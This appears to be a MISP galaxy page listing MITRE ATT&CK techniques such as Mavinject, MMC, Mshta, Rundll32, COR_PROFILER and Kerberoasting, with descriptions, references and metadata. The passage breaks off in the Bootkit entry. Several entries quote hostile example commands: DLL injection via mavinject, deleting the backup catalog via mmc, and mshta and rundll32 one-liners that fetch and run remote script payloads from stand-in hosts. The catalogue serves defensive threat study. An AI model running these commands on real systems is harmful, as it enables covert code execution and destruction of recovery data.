Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)
Internal MISP references
UUID 1bae753e-8e52-4055-a66d-2ead90303ca9 which can be used as unique global reference for Mavinject - T1218.013 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/013 - webarchive
- https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Mavinject/ - webarchive
- https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e - webarchive
- https://reaqta.com/2017/12/mavinject-microsoft-injector/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.013 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
MMC - T1218.014
Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)
For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.
Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)
Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)
Internal MISP references
UUID ffbcfdb0-de22-4106-9ed3-fc23c8a01407 which can be used as unique global reference for MMC - T1218.014 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/014 - webarchive
- https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ - webarchive
- https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc - webarchive
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog - webarchive
- https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm - webarchive
- https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/ - webarchive
- https://www.ghacks.net/2017/06/10/windows-msc-files-overview/ - webarchive
- https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.014 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
COR_PROFILER - T1574.012
Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
Internal MISP references
UUID ffeb0780-356e-4261-b036-cfb6bd234335 which can be used as unique global reference for COR_PROFILER - T1574.012 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/012 - webarchive
- https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview - webarchive
- https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100) - webarchive
- https://github.com/OmerYa/Invisi-Shell - webarchive
- https://offsec.almond.consulting/UAC-bypass-dotnet.html - webarchive
- https://redcanary.com/blog/blue-mockingbird-cryptominer/ - webarchive
- https://redcanary.com/blog/cor_profiler-for-persistence/ - webarchive
- https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.012 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
KernelCallbackTable - T1574.013
Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)
An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.
A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() Native API function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)
The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
Internal MISP references
UUID a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde which can be used as unique global reference for KernelCallbackTable - T1574.013 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/013 - webarchive
- https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ - webarchive
- https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess - webarchive
- https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/ - webarchive
- https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.013 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Emond - T1546.014
Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.
The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the Launch Daemon configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.
Internal MISP references
UUID 9c45eaa3-8604-4780-8988-b5074dbb9ecd which can be used as unique global reference for Emond - T1546.014 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.014 |
| kill_chain | ['attack-macOS:privilege-escalation', 'attack-macOS:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
AppDomainManager - T1574.014
Adversaries may execute their own malicious payloads by hijacking how the .NET AppDomainManager loads assemblies. The .NET framework uses the AppDomainManager class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (.exe or .dll binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains)
Known as "AppDomainManager injection," adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (.config) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)
Internal MISP references
UUID 356662f7-e315-4759-86c9-6214e2a50ff8 which can be used as unique global reference for AppDomainManager - T1574.014 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/014 - webarchive
- https://learn.microsoft.com/dotnet/framework/app-domains/application-domains - webarchive
- https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/ - webarchive
- https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html - webarchive
- https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.014 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Rc.common - T1163
During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
Internal MISP references
UUID 18d4ab39-12ed-4a16-9fdb-ae311bba4a0f which can be used as unique global reference for Rc.common - T1163 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1163 |
| kill_chain | ['attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Regsvcs/Regasm - T1121
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Internal MISP references
UUID 215190a9-9f02-4e83-bb5f-e0589965a302 which can be used as unique global reference for Regsvcs/Regasm - T1121 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1121 - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regasm/ - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/ - webarchive
- https://msdn.microsoft.com/en-us/library/04za0hca.aspx - webarchive
- https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1121 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Proxy - T1090
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
Internal MISP references
UUID 731f4f55-b6d0-41d1-a7a9-072a66389aea which can be used as unique global reference for Proxy - T1090 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1090 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Rootkit - T1014
Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)
Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware. (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
Internal MISP references
UUID 0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b which can be used as unique global reference for Rootkit - T1014 in MISP communities and other software using the MISP galaxy
External references
- http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf - webarchive
- https://attack.mitre.org/techniques/T1014 - webarchive
- https://en.wikipedia.org/wiki/Rootkit - webarchive
- https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - webarchive
- https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1014 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Drive: Drive Modification', 'File: File Modification', 'Firmware: Firmware Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Mshta - T1170
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Internal MISP references
UUID a127c32c-cbb0-4f9d-be07-881a792408ec which can be used as unique global reference for Mshta - T1170 in MISP communities and other software using the MISP galaxy
External references
- https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ - webarchive
- https://attack.mitre.org/techniques/T1170 - webarchive
- https://en.wikipedia.org/wiki/HTML_Application - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/ - webarchive
- https://msdn.microsoft.com/library/ms536471.aspx - webarchive
- https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf - webarchive
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html - webarchive
- https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - webarchive
- https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1170 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Screensaver - T1180
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
SCRNSAVE.exe- set to malicious PE pathScreenSaveActive- set to '1' to enable the screensaverScreenSaverIsSecure- set to '0' to not require a password to unlockScreenSaveTimeout- sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
Internal MISP references
UUID 2892b9ee-ca9f-4723-b332-0dc6e843a8ae which can be used as unique global reference for Screensaver - T1180 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1180 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Rundll32 - T1085
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Internal MISP references
UUID 62b8c999-dcc0-4755-bd69-09442d9359f5 which can be used as unique global reference for Rundll32 - T1085 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1085 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Hypervisor - T1062
This technique has been deprecated and should no longer be used.
A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
Internal MISP references
UUID 4be89c7c-ace6-4876-9377-c8d54cef3d63 which can be used as unique global reference for Hypervisor - T1062 in MISP communities and other software using the MISP galaxy
External references
- http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf - webarchive
- http://en.wikipedia.org/wiki/Xen - webarchive
- http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html - webarchive
- https://attack.mitre.org/techniques/T1062 - webarchive
- https://capec.mitre.org/data/definitions/552.html - webarchive
- https://en.wikipedia.org/wiki/Hypervisor - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1062 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Kerberoasting - T1208
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)
Internal MISP references
UUID b39d03cb-7b98-41c4-a878-c40c1a913dc0 which can be used as unique global reference for Kerberoasting - T1208 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=2293 - webarchive
- https://attack.mitre.org/techniques/T1208 - webarchive
- https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - webarchive
- https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 - webarchive
- https://msdn.microsoft.com/library/ms677949.aspx - webarchive
- https://redsiege.com/kerberoast-slides - webarchive
- https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx - webarchive
- https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1208 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Masquerading - T1036
Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.(Citation: LOLBAS Main Site)
Internal MISP references
UUID 42e8de7b-37b2-4258-905a-6897815e58e0 which can be used as unique global reference for Masquerading - T1036 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Containers:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Image: Image Metadata', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Containers'] |
Scripting - T1064
This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macros being allowed or that the user will accept to activate them.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
Internal MISP references
UUID 7fd87010-3a00-4da3-b905-410525e8ec44 which can be used as unique global reference for Scripting - T1064 in MISP communities and other software using the MISP galaxy
External references
- http://www.metasploit.com - webarchive
- https://attack.mitre.org/techniques/T1064 - webarchive
- https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ - webarchive
- https://github.com/mattifestation/PowerSploit - webarchive
- https://www.uperesia.com/analyzing-malicious-office-documents - webarchive
- https://www.veil-framework.com/framework/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1064 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Phishing - T1660
Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.
Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms.
Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as:
- SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.
- Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device.
- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.
Internal MISP references
UUID defc1257-4db1-4fb3-8ef5-bb77f63146df which can be used as unique global reference for Phishing - T1660 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1660 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Bootkit - T1067
A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)
Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Master Boot Record
The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
Volume Boot Record
